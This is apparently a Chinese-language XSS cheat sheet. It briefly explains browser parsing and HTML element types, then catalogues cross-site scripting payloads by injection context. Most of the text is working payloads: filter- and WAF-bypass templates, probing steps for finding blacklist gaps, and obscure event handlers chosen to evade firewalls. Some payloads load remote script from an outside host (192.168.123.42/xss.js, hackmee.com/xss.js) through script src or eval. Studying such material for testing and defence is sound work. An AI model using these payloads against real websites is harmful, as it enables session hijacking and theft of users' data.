浏览器的解析过程

  • 获取请求文档的内容后,呈现引擎将开始解析 HTML 文档,并将各标记逐个转化成“内容树”上的 DOM 节点。
  • 解析外部 CSS以及style元素中的样式数据形成呈现树。呈现树包含多个带有视觉属性(如颜色和尺寸)的矩形。这些矩形的排列顺序就是它们将在屏幕上显示的顺序。呈现树构建完毕之后,进入“布局”处理阶段,也就是为每个节点分配一个应出现在屏幕上的确切坐标。
  • 解析script标签时,解析完毕马上执行,并且阻塞页面。
  • 绘制 - 呈现引擎会遍历呈现树,由用户界面后端层将每个节点绘制出来。

image-20211108145033378

HTML 解析器五类元素

空元素

空元素(Voidelements),不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。

空元素: <area><base><br><col><command><embed><hr><img><input><keygen><link><meta><param><source><track><br>

原始文本元素

原始文本元素 (Raw textelements),可以容纳文本。

原始文本元素:<script><style>

RCDATA

RCDATA (RCDATA elements)元素,可以容纳文本和字符引用。

RCDATA 元素:<textarea><title>

外部元素

外部元素 (Foreignelements),可以容纳文本、字符引用、CDATA 段、其他元素和注释

外部元素:例如 MathML 命名空间或者 SVG 命名空间的元素

基本元素

基本元素 (Normal elements),可以容纳文本、字符引用、其他元素和注释

基本元素:除了以上 4 种元素以外的元素

XSS Payload结构

当我们挖掘反射型和存储型XSS漏洞时,有一个关键的任务是识别XSS context。包括以下信息:

  • 用户可控的数据出现在responses的位置
  • 应用对输入执行的验证

基于这些细节,然后可以选择合适的XSS Payload,并测试其有效性。

基于HTML上下文

当用户的输入数据映射在Web页面的HTML代码中时,这种场景就是我们所谓的HTML上下文。HTML上下文可以根据用户输入在代码中的映射位置来进一步划分成:

  • 标签内<input type="text" value="$input">

    针对标签内,也就是标签属性的XSS,可以结束属性值,并闭合tag,然后,引入一个新的tag。例如:

    1
    "><script>alert(document.domain)</script>
  • 标签外<span>Youentered $input</span>

    针对标签外,也就是标签之间的XSS,可以闭合先前的tag,并引入新的tags来执行JavaScript。

    1
    2
    3
    </span><script>alert(document.domain)</script>

    </span><img src=1 onerror=alert(1)>

Payload机制-1

1
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

找到{tag}的合适值之后,就需要猜测用于匹配标签和事件处理器间数据过滤器的正则表达式了。这一步可以使用下面的探测机制来实现:

  • <tag xxx - 如果无法通过,则为{space};
  • <tag%09xxx - 如果无法通过,则为[\s];
  • <tag%09%09xxx - 如果无法通过,则为\s+;
  • <tag/xxx - 如果无法通过,则为[\s/]+;
  • <tag%0axxx- 如果无法通过,则为[\s\n]+;
  • - 如果无法通过,则为[\s\n\r+]+;
  • <tag/~/xxx - 如果无法通过,则为.*+;

这个组件(例如事件处理器)是Payload结构中最关键的部分。通常,匹配它的是常规正则表达式(例如“on\w+”)或黑名单(例如“on(load|click|error|show)”)。第一个正则表达式非常严格,很难绕过,而基于黑名单的模式可以通过不常用的事件处理器来绕过。安全机制的实现类型可以通过下面两种简单的方法来识别:

  • <tag{filler}onxxx - 如果无法通过,则为on\w+。如果通过,则为on(load|click|error|show);
  • <tag{filler}onclick- 如果通过,则表明没有事件处理器检测正则表达式;

下面是一些冷门的事件处理器,可能防火墙黑名单中没标记:

  • onauxclick
  • ondblclick
  • oncontextmenu
  • onmouseleave
  • ontouchcancel

常用的Payload结束符如下:

1
2
3
4
5
6
7
<payload>
<payload
<payload{space}
<payload//
<payload%0a
<payload%0d
<payload%09

其中的{filler}为绕过过滤器的分隔符,常见的{filler}如下:

1
2
3
4
5
6
IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
Safari: 0x2C, 0x3B
FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
Opera: 0x09, 0x20, 0x2C, 0x3B
Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

Payload机制-2

1
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

使用了<object>标签的Payload可以利用下面的Payload机制来构建:

1
<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

Payload机制-3

这种Payload机制有两种形式:明文或混淆处理。

明文结构如下:

1
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

混淆处理后的Payload结构如下:

1
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

基于JavaScript上下文

当XSS上下文是响应中的一些现有JavaScript时,可能会出现各种各样的情况,需要使用不同的技术来执行成功的利用。例如下面这个例子:

1
2
3
4
5
<script>
...
var input = 'controllable data here';
...
</script>

基于JavaScript上下文的Payload结构也分可两种方法:

  • 闭合当前script标签

关闭现存的script在最简单的情况下,可以简单地关闭包围现有JavaScript的脚本标记,并引入一些新的HTML标记,用于触发JavaScript。

1
</script><img src=1 onerror=alert(document.domain)>

这种XSS payload构造机制可参考基于HTML上下文。

  • 跳出当前JavaScript字符串

当XSS context位于带引号的字符串中的情况下,通常可以中断字符串,并直接执行JavaScript。必须在XSS context之后修复脚本,因为,那里的任何语法错误都将阻止整个脚本的执行。下面是一些常用的方式:

Payload机制-1

1
{quote}{delimiter}{javascript}{delimiter}{quote}

可用的Payload有:

1
2
3
4
5
6
7
8
'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'

Payload机制-2

1
{quote}{delimiter}{javascript}//

可以使用下列Payload机制来构建Payload:

1
2
3
'<{javascript}//'
'|{javascript}//'
'^{javascript}//'

基于JavaScript事件的XSS

标准HTML事件

事件名称 标签 备注
onload body, iframe, img, frameset, input, script, style, link, svg 适用于0-click,但通常会被过滤掉
onpageshow body 适用于 0-click,但只能用在非DOM注入中
onfocus 大多数标签 适用于 0-click:配合autofocus使用
onmouseover 大多数标签 如果可能的话,添加参数值来让其尽可能的大。
onerror img, input, object, link, script, video, audio 确保传递参数来终止运行
onanimationstart 与任何可以设置动画的元素组合 启动,然后开始CSS动画
onanimationend 与任何可以设置动画的元素组合 启动,然后结束CSS动画
onstart marquee 在字幕动画启动时启动-仅限Firefox
onfinish marquee 在字幕动画结束时启动-仅限Firefox
ontoggle details 必须提供open参数以支持0-click

使用示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<body onload=alert(1)>

<img src=x onerror=alert(1)>

<audio src=x onerror=alert(1)>

<svg onload=alert(1)>

<svg><animate onbegin=alert(1) attributeName=x></svg>

<iframe srcdoc="<svg onload=alert(1);>">

<body onpageshow=alert(1)>

<div style="width:1000px;height:1000px" onmouseover=alert(1)></div>

<marquee width=10 loop=2 behavior="alternate" onbounce=alert(1)> (firefox only)

<marquee onstart=alert(1)> <!-- firefox only -->

<marquee loop=1 width=0 onfinish=alert(1)> <!-- firefox only -->

<input autofocus="" onfocus=alert(1)></input>

<details open ontoggle="alert(1)">

HTML5事件

事件名称 标签 备注
onplay video, audio 适用于0-click:结合HTML的autoplay属性以及结合有效的视频/音频
onplaying video, audio 适用于0-click: 结合HTML的autoplay属性以及结合有效的视频/音频
oncanplay video, audio 必须链接有效的视频/音频
onloadeddata video, audio 必须链接有效的视频/音频
onloadedmetadata video, audio 必须链接有效的视频/音频
onprogress video, audio 必须链接有效的视频/音频
onloadstart video, audio 潜在的0-click向量
oncanplay video, audio 必须链接有效的视频/音频

使用示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<video autoplay onloadstart="alert(1)" src=x></video>

<video autoplay controls onplay="alert(1)"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadeddata="alert(1)"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadedmetadata="alert(1)"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadstart="alert(1)"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadstart="alert(1)"><source src=x></video>

<video controls oncanplay="alert(1)"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<audio autoplay controls onplay="alert(1)"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>

<audio autoplay controls onplaying="alert(1)"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>

有关HTML的事件可以参考:http://help.dottoro.com/lhwfcplu.php

基于CSS事件的XSS

不幸的是,基于CSS来实现XSS现在已经越来越难了,我尝试过的所有向量目前都只能在非常旧的浏览器上工作。因此,下面介绍的是基于CSS来触发XSS的情况。

下面的例子使用的是style标签来为动画的开始和结束设置关键帧:

1
2
3
<style>@keyframes x {}</style>
<p style="animation: x;" onanimationstart="alert(1)">XSS</p>
<p style="animation: x;" onanimationend="alert(1)">XSS</p>

基于伪协议的XSS

伪协议不同于在因特网上广泛使用的如 http://、https://、ftp://,在URL中使用,用于执行特定的功能。

  • JavaScript伪协议:一般是通过href属性或者src属性结合JavaScript伪协议实现跨站脚本。
  • data伪协议:一般是通过data属性结合data伪协议实现跨站脚本。

使用示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<a href="javascript:alert(1)">javascript伪协议</a>

<embed src=javascript:alert(1)>

<iframe src=javascript:alert(1)>

<script src=data:,alert(1)></script>

<object data=javascript:alert(1)>

<object data="data:text/html,<script>alert(1)</script>">

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

<math><brute href=javascript:alert(1)>click //firefox可执行

<form action=javascript:alert(1)><input type=submit value=click>

<form action=javascript:alert(1)><input type=image value=click>

<form action=javascript:alert(1)><input type=image>

<svg><script xlink:href=data:,alert(1) /> //firefox可执行

注:在safari浏览器中a标签的href属性也可以使用data伪协议。

自定义标签构造的XSS

tabindex 属性

  • tabindex=正值,表示元素是可聚焦的,并且可以通过键盘导航来访问到该元素。
  • tabindex="0" ,表示元素是可聚焦的,并且可以通过键盘导航来聚焦到该元素,它的相对顺序是当前处于的DOM结构来决定的。
  • tabindex=负值 (通常是tabindex=“-1”),表示元素是可聚焦的,但是不能通过键盘导航来访问到该元素。

使用示例:

1
<wafbypass tabindex=1 onfocus=alert(1) autofocus>

contenteditable属性

contenteditable 是一个枚举属性,表示元素是否可被用户编辑。 如果可以,浏览器会修改元素的部件以允许编辑。

使用示例:

1
<wafbypass onfocus=alert(1) autofocus contenteditable>

user-modify属性

用来控制用户能否对页面文本进行编辑。与标签的contenteditable属性类似。(该属性在chrome下使用)

-webkit-user-modify: read-only | read-write | read-write-plaintext-only

属性值 注释
read-only 内容只读。
read-write 内容可读写。(支持富文本)
read-write-plaintext-only 内容可读写,但粘贴内容中的富文本格式(如文本的颜色、大小,图片等)会丢失。内容类似于以纯文本显示。

使用示例:

1
<wafbypass style="-webkit-user-modify:read-write" onfocus=alert(1) autofocus>

远程加载Payload

1
2
3
4
5
6
使用src属性加载
<script src="http://192.168.123.42/xss.js"></script>

DOM创建script标签,再利用src属性加载
<details open ontoggle=eval("appendChild(createElement('script')).src='http://192.168.123.42/xss.js'")>

非常规XSS构造

基于HTML上下文的多重反射XSS

通常在网站中查找XSS时,我们会看到源代码中输入的不止一个反射,这对于绕过几种类型的过滤器非常有用。

双反射(单输入)

用于利用同一页面上的多个反射。

1
2
3
4
5
'onload=alert(1)><svg/1='

'>alert(1)</script><script/1='

*/alert(1)</script><script>/*

三重反射(单输入)

用于利用同一页面上的多个反射。

1
2
3
4
5
*/alert(1)">'onload="/*<svg/1='

`-alert(1)">'onload="`<svg/1='

*/</script>'>alert(1)/*<script/1='

双重和三重(多输入)

用于在同一页面上利用多个输入反射。在HPP(HTTP参数污染)场景中也很有用,其中存在 重复参数的反射。第3个有效负载使用相同参数的逗号分隔反射。

1
2
3
4
5
p=<svg/1='&q='onload=alert(1)>

p=<svg 1='&q='onload='/*&r=*/alert(1)'>

q=<script/&q=/src=data:&q=alert(1)>

基于文件上传的XSS

文件名

当上传的文件名反映在目标页面的某处时使用。

1
"><svg onload=alert(1)>.gif

元数据 Metadata

在上传文件的元数据反映在目标页面的某处时使用。它使用命令行exiftool (“$”是终 端提示符),可以设置任何元数据字段。

1
$ exiftool -Artist='"><svg onload=alert(1)>'xss.jpeg

SVG文件

用于在上载图像文件时在目标上创建存储的XSS。将以下内容保存为 “xss.svg”。

1
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)" />

基于SQLi错误的XSS

在可触发SQL错误消息的端点中使用(使用引号或反斜杠)。

1
2
3
'1<svg onload=alert(1)>

<svg onload=alert(1)>//

基于XML的XSS

1
2
3
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>

<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//hackmee.com/xss.js">

参考资料